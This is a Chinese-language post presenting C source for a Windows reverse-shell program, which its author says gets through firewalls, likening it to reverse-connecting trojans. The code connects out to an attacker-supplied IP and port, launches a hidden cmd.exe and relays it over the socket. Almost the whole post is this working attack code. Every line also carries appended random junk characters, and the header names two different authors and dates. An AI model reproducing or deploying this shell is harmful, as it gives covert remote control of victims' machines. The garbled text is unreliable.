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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 za_b jE  
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/* ============================== ^#Ii=K-[^  
Rebound port in Windows NT <u64)8'  
By wind,2006/7 T }#iXgyx  
===============================*/ Hb)FeGsd).  
#include w' 7sh5  
#include /{^k8 Q  
@Vm*b@  
#pragma comment(lib,"wsock32.lib") Og\k5.! ,  
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void OutputShell(); <Riz!(G  
SOCKET sClient; j6m;03<|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K zWo}tT  
'R 7 \  
void main(int argc,char **argv) U2 *ORd  
{ en<~_|J  
WSADATA stWsaData; N,(!   
int nRet; zPby+BP  
SOCKADDR_IN stSaiClient,stSaiServer; n:5M E*  
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if(argc != 3) [X(4( 1i  
{ x)PW4{3qR  
printf("Useage:\n\rRebound DestIP DestPort\n"); -o ).<&#  
return; UqP{Cyy{  
} ]\(8d[ 4  
}v ZOPTP  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,d#*i  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WK{`_c U^  
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stSaiClient.sin_family = AF_INET; pQz1!0  
stSaiClient.sin_port = htons(0); a1Fx|#! mq  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $V~@w.-Z#  
S_ATsG*(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4 PK}lc  
{ n!jmxl$  
printf("Bind Socket Failed!\n"); ( S[z  
return; d][ Wm  
} G@8)3 @  
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stSaiServer.sin_family = AF_INET; G3.aw  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `w@:h4f  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vSgT36ZF  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hG1:E:}  
{ At Wv9  
printf("Connect Error!"); @*6fEG{,q  
return; a|ufm^ F  
} *6Wiq5M>.  
OutputShell(); (V{/8%mWc  
} `Q@7,z=f  
M(-)\~9T  
void OutputShell() IKD{3cVL  
{ cn'>dz3v  
char szBuff[1024]; m:H^m/g  
SECURITY_ATTRIBUTES stSecurityAttributes; SQodk:1)  
OSVERSIONINFO stOsversionInfo;  384n1?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <FT7QO$I  
STARTUPINFO stStartupInfo; yJA~4  
char *szShell; +}:Z9AAMy  
PROCESS_INFORMATION stProcessInformation; :/5m D  
unsigned long lBytesRead; }`tSRB7  
sZ `Tv[  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AxEyXT(h5  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &W<7!U:2m  
stSecurityAttributes.lpSecurityDescriptor = 0; #AD_EN9  
stSecurityAttributes.bInheritHandle = TRUE; T+Oqd\05.+  
d ^bSV4  
,Z`}!%?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ":]X r!e  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g3^s_*A  
&YhAB\Rw  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w~3X m{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h@,ja  
stStartupInfo.wShowWindow = SW_HIDE; ]J7qsMw  
stStartupInfo.hStdInput = hReadPipe; =KE7NXu]-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SuE~Wb 5&  
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GetVersionEx(&stOsversionInfo); &[E\2 E  
u64#,mC[*  
switch(stOsversionInfo.dwPlatformId) L}Z.FqJ  
{ *$Q>Om]  
case 1: iq&3S0  
szShell = "command.com"; h<.5:a  
break; "[) G{VzT  
default: egoR])2>  
szShell = "cmd.exe"; "{0G,tdA  
break; Ot=>~(u0  
} .3 EZk86  
;n&95t1$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8_Oeui(i  
"j>X^vn  
send(sClient,szMsg,77,0); {R1]tGOf  
while(1) rOJ>lPs  
{ Y=S0|!u  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]H1mj#EWU  
if(lBytesRead) #xI g(nG  
{ yD9enYM  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Liqo)m  
send(sClient,szBuff,lBytesRead,0); DB vM.'b$  
} g"-j/ c   
else =EJ&=t  
{ ]7HR U6$  
lBytesRead=recv(sClient,szBuff,1024,0); pbMANZU[  
if(lBytesRead<=0) break; (,Y[2_Zv  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -&/?&{Q0  
} 85<k'>~L  
} "x,lL  
8ro`lX*F@2  
return; =z1Lim-  
}
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